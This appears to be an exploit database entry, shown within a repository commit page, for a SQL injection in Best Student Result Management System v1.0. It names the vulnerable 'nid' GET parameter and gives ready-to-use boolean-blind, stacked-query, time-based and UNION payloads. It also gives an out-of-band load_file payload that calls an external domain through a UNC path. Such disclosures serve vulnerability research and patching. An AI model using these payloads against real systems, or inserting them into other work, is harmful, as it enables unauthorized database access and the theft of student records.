034fafa3fd
8 changes to exploits/shellcodes/ghdb Positron Broadcast Signal Processor TRA7005 v1.20 - Authentication Bypass Best Student Result Management System v1.0 - Multiple SQLi Daily Expense Manager 1.0 - 'term' SQLi Human Resource Management System v1.0 - Multiple SQLi Open Source Medicine Ordering System v1.0 - SQLi Wordpress Theme Travelscape v1.0.3 - Arbitrary File Upload AnyDesk 7.0.15 - Unquoted Service Path
44 lines
No EOL
1.7 KiB
Text
44 lines
No EOL
1.7 KiB
Text
## Title: Best Student Result Management System v1.0 - Multiple SQLi
|
|
## Author: nu11secur1ty
|
|
## Date: 04/08/2024
|
|
## Vendor: https://www.mayurik.com/
|
|
## Software: https://www.sourcecodester.com/php/15653/best-student-result-management-system-project-source-code-php-and-mysql-free-download
|
|
## Reference: https://portswigger.net/web-security/sql-injection
|
|
|
|
## Description:
|
|
The nid parameter appears to be vulnerable to SQL injection attacks.
|
|
The payload '+(select
|
|
load_file('\\\\qiccs55u6nnh6lxma520zou8ozusijm7da11orcg.tupaputka.com\\tuh'))+'
|
|
was submitted in the nid parameter. This payload injects a SQL
|
|
sub-query that calls MySQL's load_file function with a UNC file path
|
|
that references a URL on an external domain. The application
|
|
interacted with that domain, indicating that the injected SQL query
|
|
was executed.
|
|
The attacker can get all information from the system by using this
|
|
vulnerability!
|
|
|
|
STATUS: HIGH- Vulnerability
|
|
|
|
[+]Payload:
|
|
```mysql
|
|
---
|
|
Parameter: nid (GET)
|
|
Type: boolean-based blind
|
|
Title: AND boolean-based blind - WHERE or HAVING clause
|
|
Payload: nid=145448807' or '1766'='1766' AND 2997=2997 AND 'IBFU'='IBFU
|
|
|
|
Type: stacked queries
|
|
Title: MySQL >= 5.0.12 stacked queries (comment)
|
|
Payload: nid=145448807' or '1766'='1766';SELECT SLEEP(7)#
|
|
|
|
Type: time-based blind
|
|
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
|
Payload: nid=145448807' or '1766'='1766' AND (SELECT 3474 FROM
|
|
(SELECT(SLEEP(7)))eAdm) AND 'ubZR'='ubZR
|
|
|
|
Type: UNION query
|
|
Title: MySQL UNION query (NULL) - 4 columns
|
|
Payload: nid=145448807' or '1766'='1766' UNION ALL SELECT
|
|
NULL,NULL,CONCAT(0x716a767871,0x76504a4f6455624669506c6a484150727767554e66574d7856554875684368426b4f72794374496e,0x716b787071),NULL#
|
|
---
|
|
``` |